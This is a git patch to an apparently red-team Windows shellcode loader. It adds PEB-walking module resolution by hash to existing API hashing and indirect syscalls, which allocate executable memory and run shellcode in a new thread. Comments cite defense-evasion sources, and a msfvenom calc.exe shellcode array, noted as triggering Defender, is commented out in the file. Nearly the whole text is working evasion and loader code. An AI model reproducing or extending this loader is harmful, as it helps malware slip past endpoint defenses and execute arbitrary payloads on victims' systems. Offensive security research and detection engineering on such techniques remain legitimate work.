From f940f693c8549a4ac02a2d2f6c38447f462a6895 Mon Sep 17 00:00:00 2001 From: 0xcf80 <0xcf80> Date: Sun, 21 Jan 2024 22:36:02 +0100 Subject: [PATCH] add GetModuleHandleByHash --- ShellcodeLoader/ShellCodeLoader.h | 39 +++++++++- ShellcodeLoader/ShellcodeLoader.c | 44 +++++++---- ShellcodeLoader/WinApiReImplementations.c | 43 +++++++++- ShellcodeLoader/WinApiReImplementations.h | 27 ++++++- ShellcodeLoader/shellcode.h | 4 +- create_api_hashes.py | 3 +- .../WinApiReImplementations.c | 78 ------------------- 7 files changed, 135 insertions(+), 103 deletions(-) delete mode 100644 enc_temp_folder/9046211e21396dc74803316d042a710/WinApiReImplementations.c diff --git a/ShellcodeLoader/ShellCodeLoader.h b/ShellcodeLoader/ShellCodeLoader.h index eb8687f..c9e8c96 100644 --- a/ShellcodeLoader/ShellCodeLoader.h +++ b/ShellcodeLoader/ShellCodeLoader.h @@ -1,7 +1,8 @@ #pragma once # include #include - +// PEB/TEB +#include // https://stackoverflow.com/questions/1941307/debug-print-macro-in-c #define DEBUG @@ -11,7 +12,41 @@ #else #define DEBUG_PRINT(...) do{ } while ( false ) #endif - +#define MAX_DLL_NAME_LENGTH 256; +typedef struct _MY_LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + /*_ACTIVATION_CONTEXT* EntryPointActivationContext;*/ + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY; /* * Structure to hold information about our syscalls */ diff --git a/ShellcodeLoader/ShellcodeLoader.c b/ShellcodeLoader/ShellcodeLoader.c index f64e5ea..d5d7556 100644 --- a/ShellcodeLoader/ShellcodeLoader.c +++ b/ShellcodeLoader/ShellcodeLoader.c @@ -36,12 +36,12 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp //LPVOID pProc = (LPVOID)GetProcAddress(hNtDll, funcName); LPVOID pProc = GetProcAddressByHash(hNtDll, function_hash); if (pProc == NULL) { - DEBUG_PRINT("GetProcAddressByHash failed for %p\n", function_hash); + DEBUG_PRINT("GetProcAddressByHash failed for 0x%x\n", function_hash); return (NTSTATUS) -1; } - DEBUG_PRINT("Function for hash %p at %p\n", function_hash, pProc); + DEBUG_PRINT("Function for hash 0x%x at %p\n", function_hash, pProc); /* 0:000> uf ntdll!NtCreateProcess ntdll!NtCreateProcess: @@ -67,7 +67,7 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp if (*(ptr + 1) == 0x05) { // 0xc3 => ret if (*(ptr + 2) == 0xc3) { - DEBUG_PRINT("Syscall for %p at %p. ID: %02x\n", function_hash, ptr, syscallId); + DEBUG_PRINT("Syscall for 0x%x at %p. ID: %02x\n", function_hash, ptr, syscallId); *outSyscallId = syscallId; *outpSyscall = ptr; return ERROR_SUCCESS; @@ -77,7 +77,7 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp // prevent an endless loop if ((ptr - (PBYTE)pProc) == 50) { - DEBUG_PRINT("Could not identify Syscall for %p\n", function_hash); + DEBUG_PRINT("Could not identify Syscall for 0x%x\n", function_hash); return (NTSTATUS)-1; } ptr++; @@ -93,36 +93,36 @@ NTSTATUS resolve_syscall(HMODULE hNtDll, DWORD function_hash, _Out_ LPVOID *outp */ NTSTATUS populate_syscall_table(HMODULE hNtDll, _Out_ PSYSCALL_INFO_TABLE pSyscallTable) { - LPCSTR funcName = "NtAllocateVirtualMemory"; + //LPCSTR funcName = "NtAllocateVirtualMemory"; NTSTATUS status = (NTSTATUS)-1; //status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId); status = resolve_syscall(hNtDll, pSyscallTable->NtAllocateVirtualMemory.functionHash, &pSyscallTable->NtAllocateVirtualMemory.pSyscall, &pSyscallTable->NtAllocateVirtualMemory.syscallId); if (status != ERROR_SUCCESS) { - DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtAllocateVirtualMemory.functionHash); return (NTSTATUS)-1; } - funcName = "NtProtectVirtualMemory"; + //funcName = "NtProtectVirtualMemory"; //status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId); status = resolve_syscall(hNtDll, pSyscallTable->NtProtectVirtualMemory.functionHash, &pSyscallTable->NtProtectVirtualMemory.pSyscall, &pSyscallTable->NtProtectVirtualMemory.syscallId); if (status != ERROR_SUCCESS) { - DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtProtectVirtualMemory.functionHash); return (NTSTATUS)-1; } - funcName = "NtCreateThreadEx"; + //funcName = "NtCreateThreadEx"; //status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId); status = resolve_syscall(hNtDll, pSyscallTable->NtCreateThreadEx.functionHash, &pSyscallTable->NtCreateThreadEx.pSyscall, &pSyscallTable->NtCreateThreadEx.syscallId); if (status != ERROR_SUCCESS) { - DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtCreateThreadEx.functionHash); return (NTSTATUS)-1; } - funcName = "NtWaitForSingleObject"; + //funcName = "NtWaitForSingleObject"; //status = resolve_syscall(hNtDll, funcName, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId); status = resolve_syscall(hNtDll, pSyscallTable->NtWaitForSingleObject.functionHash, &pSyscallTable->NtWaitForSingleObject.pSyscall, &pSyscallTable->NtWaitForSingleObject.syscallId); if (status != ERROR_SUCCESS) { - DEBUG_PRINT("Failed to resolve Syscall for %s!", funcName); + DEBUG_PRINT("Failed to resolve Syscall for 0x%x!", pSyscallTable->NtWaitForSingleObject.functionHash); return (NTSTATUS)-1; } @@ -160,7 +160,7 @@ NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, cons DEBUG_PRINT("Allocated memory at %p\n", lpAddress); // Write shellcodde - MoveMemoryReImpl(lpAddress, shellcode, shellcode_len); + MoveMemoryReImpl(lpAddress, (const PVOID)shellcode, shellcode_len); // make page executable ULONG ulOldProtect = 0; @@ -205,20 +205,30 @@ NTSTATUS execute_shellcode_create_thread(PSYSCALL_INFO_TABLE pSyscallTable, cons // Entrypoint int main() { - // todo: resolve ntdll from peb + /* + // GMH not needed any longer HMODULE hNtDll = GetModuleHandle(L"ntdll.dll"); + */ + HMODULE hNtDll = GetModuleHandleByHash(0x22d3b5ed); if (hNtDll == NULL) { DEBUG_PRINT("GetModuleHandle failed for ntdll!\n"); return -1; } DEBUG_PRINT("NtDll mapped to %p\n", hNtDll); + + /* + * Just a test to make sure it works for other modules as well + HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); + HMODULE hKernel322 = GetModuleHandleByHash(0x6ddb9555); + DEBUG_PRINT("kernel32: %p / %p\n", hKernel32, hKernel322); + */ - DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode_calc)); + DEBUG_PRINT("sizeof shellcode: %d\n", (int)sizeof(shellcode_int3)); /* * C:\Users\joshua\Desktop\ShellCodeLoader_Indirect_Syscalls>"C:\Program Files\Python311\python.exe" create_api_hashes.py - * string: ntdll, hash: 0x1006db43 + * string: ntdll.dll, hash: 0x22d3b5ed * string: NtAllocateVirtualMemory, hash: 0x6793c34c * string: NtProtectVirtualMemory, hash: 0x82962c8 * string: NtCreateThreadEx, hash: 0xcb0c2130 @@ -237,7 +247,7 @@ int main() return -1; } - status = execute_shellcode_create_thread(&syscalls, shellcode_int3, sizeof(shellcode_calc)); + status = execute_shellcode_create_thread(&syscalls, shellcode_int3, sizeof(shellcode_int3)); if (status != ERROR_SUCCESS) { DEBUG_PRINT("Error executing shellcode!\n"); diff --git a/ShellcodeLoader/WinApiReImplementations.c b/ShellcodeLoader/WinApiReImplementations.c index 73ab4cf..895fb4f 100644 --- a/ShellcodeLoader/WinApiReImplementations.c +++ b/ShellcodeLoader/WinApiReImplementations.c @@ -14,6 +14,45 @@ DWORD runtime_hash(unsigned char* str) return hash; } +// Get a handle to a loaded DLL (by Hash) +// https://revers.engineering/custom-getprocaddress-and-getmodulehandle-implementation-x64/ +HMODULE GetModuleHandleByHash(DWORD module_hash) { + + HMODULE module_base = NULL; + //PPEB pPEB = getPEB(); + PPEB pPEB = (PPEB)(__readgsqword(0x60)); + //DEBUG_PRINT("PEB at %p\n", pPEB); + PPEB_LDR_DATA pLDR = pPEB->Ldr; + PLIST_ENTRY pModuleList = &(pLDR->InMemoryOrderModuleList); + + // https://learn.microsoft.com/de-de/cpp/c-runtime-library/reference/wcstombs-s-wcstombs-s-l?view=msvc-170 + PMY_LDR_DATA_TABLE_ENTRY currentModule = NULL; + PLIST_ENTRY currentEntry = pModuleList->Flink; + PLIST_ENTRY firstEntry = pModuleList; + CHAR cstr_module_name[256] = { 0 }; + // in a double linked list, the last entry points to the first one + while (currentEntry->Flink != firstEntry) + { + currentModule = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry; + // https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/wcstombs-s-wcstombs-s-l?view=msvc-170 + wcstombs_s(NULL, cstr_module_name, sizeof(cstr_module_name), currentModule->FullDllName.Buffer, currentModule->FullDllName.Length - 1); + DEBUG_PRINT("Found DLL %s. Base:%p\n", cstr_module_name, currentModule->InInitializationOrderLinks.Flink); + + if (module_hash == runtime_hash(cstr_module_name)) { + DEBUG_PRINT("Found DLL %s for hash 0x%x. Base: %p\n", cstr_module_name, module_hash, (HMODULE)currentModule->InInitializationOrderLinks.Flink); + // Actually this should work, but it does return a wrong address?! + //return (HMODULE)currentModule->DllBase; + return (HMODULE)currentModule->InInitializationOrderLinks.Flink; + } + + //wprintf(L"Module: %s\n", currentModule->FullDllName.Buffer); + + currentEntry = currentEntry->Flink; + + } + return NULL; +} + // Resolve API function by function hash. Generate the API hashes using create_api_hashes.py // https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware // TODO: Create a compiletime_hash Macro to generate the functions dynamically during build @@ -50,13 +89,13 @@ LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash) { { functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]]; proc = (PDWORD)((DWORD_PTR)hModule + functionAddressRVA); - DEBUG_PRINT("%s : 0x%x : %p\n", functionName, functionNameHash, proc); + DEBUG_PRINT("FuncName: %s - FuncHash: 0x%x - Ptr: %p\n", functionName, functionNameHash, proc); return proc; } } // fail if (proc == NULL) { - DEBUG_PRINT("Failed to resolve function for hash %p!\n", function_hash); + DEBUG_PRINT("Failed to resolve function for hash 0x%x!\n", function_hash); } return proc; } diff --git a/ShellcodeLoader/WinApiReImplementations.h b/ShellcodeLoader/WinApiReImplementations.h index 9291cda..74f1e95 100644 --- a/ShellcodeLoader/WinApiReImplementations.h +++ b/ShellcodeLoader/WinApiReImplementations.h @@ -1,5 +1,7 @@ #pragma once #include +// PEB / TEB +#include /* * Todo: @@ -10,4 +12,27 @@ DWORD runtime_hash(unsigned char* str); LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash); -PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len); \ No newline at end of file +HMODULE GetModuleHandleByHash(DWORD module_hash); +PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len); + + + + + + +#if defined( _WIN64 ) +#define PEBOffset 0x60 +#define LdrOffset 0x18 +#define ListOffset 0x10 +PPEB getPEB(void) { + return (PPEB)__readgsqword(PEBOffset); +} + +#elif defined( _WIN32 ) +#define PEBOffset 0x30 +#define LdrOffset 0x0C +#define ListOffset 0x0C +PPEB getPEB(void) { + return (PPEB)__readfsdword(PEBOffset); +} +#endif \ No newline at end of file diff --git a/ShellcodeLoader/shellcode.h b/ShellcodeLoader/shellcode.h index e15636b..cdb7941 100644 --- a/ShellcodeLoader/shellcode.h +++ b/ShellcodeLoader/shellcode.h @@ -26,7 +26,7 @@ const char shellcode_int3[] = { }; // msfvenom (triggers defender) -unsigned char shellcode_calc[] = { +/*unsigned char shellcode_calc[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50, 0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52, 0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, @@ -46,4 +46,4 @@ unsigned char shellcode_calc[] = { 0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd, 0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0, 0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff, -0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; +0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };*/ diff --git a/create_api_hashes.py b/create_api_hashes.py index 31b4d9a..bc41eaf 100644 --- a/create_api_hashes.py +++ b/create_api_hashes.py @@ -2,7 +2,8 @@ # encoding: utf-8 dlls = [ - 'ntdll' + 'ntdll.dll', + 'KERNEL32.DLL' ] functions = [ diff --git a/enc_temp_folder/9046211e21396dc74803316d042a710/WinApiReImplementations.c b/enc_temp_folder/9046211e21396dc74803316d042a710/WinApiReImplementations.c deleted file mode 100644 index 251ed0a..0000000 --- a/enc_temp_folder/9046211e21396dc74803316d042a710/WinApiReImplementations.c +++ /dev/null @@ -1,78 +0,0 @@ -#include -// DEBUG_PRINT -#include "ShellCodeLoader.h" - -// https://theartincode.stanis.me/008-djb2/ -DWORD runtime_hash(unsigned char* str) -{ - DWORD hash = 5381; - int c; - - while (c = *str++) - hash = ((hash << 5) + hash) + c; /* hash * 33 + c */ - - return hash; -} - -// Resolve API function by function hash. Generate the API hashes using create_api_hashes.py -// https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware -LPVOID GetProcAddressByHash(HMODULE hModule, DWORD function_hash) { - LPVOID proc = NULL; - // Get base address of the module in which our exported function of interest resides (kernel32 in the case of CreateThread) - - PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; - PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + dosHeader->e_lfanew); - - DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - - PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hModule + exportDirectoryRVA); - - // Get RVAs to exported function related information - PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfFunctions); - PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfNames); - PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)hModule + imageExportDirectory->AddressOfNameOrdinals); - - // Iterate through exported functions, calculate their hashes and check if any of them match our hash of 0x00544e304 (CreateThread) - // If yes, get its virtual memory address (this is where CreateThread function resides in memory of our process) - for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++) - { - DWORD functionNameRVA = addressOfNamesRVA[i]; - DWORD_PTR functionNameVA = (DWORD_PTR)hModule + functionNameRVA; - char* functionName = (char*)functionNameVA; - DWORD_PTR functionAddressRVA = 0; - - // Calculate hash for this exported function - DWORD functionNameHash = runtime_hash(functionName); - - // If hash for CreateThread is found, resolve the function address - if (functionNameHash == function_hash) - { - functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]]; - proc = (PDWORD)((DWORD_PTR)hModule + functionAddressRVA); - DEBUG_PRINT("%s : 0x%x : %p\n", functionName, functionNameHash, proc); - return proc; - } - } - // fail - if (proc == NULL) { - DEBUG_PRINT("Failed to resolve function for hash %p!\n", function_hash); - } - return proc; -} - - -// stolen from: https://github.com/am0nsec/HellsGate/blob/master/HellsGate/main.c#L198C1-L211C2 -PVOID MoveMemoryReImpl(PVOID dest, const PVOID src, SIZE_T len) { - char* d = dest; - const char* s = src; - if (d < s) - while (len--) - *d++ = *s++; - else { - char* lasts = s + (len - 1); - char* lastd = d + (len - 1); - while (len--) - *lastd-- = *lasts--; - } - return dest; -} \ No newline at end of file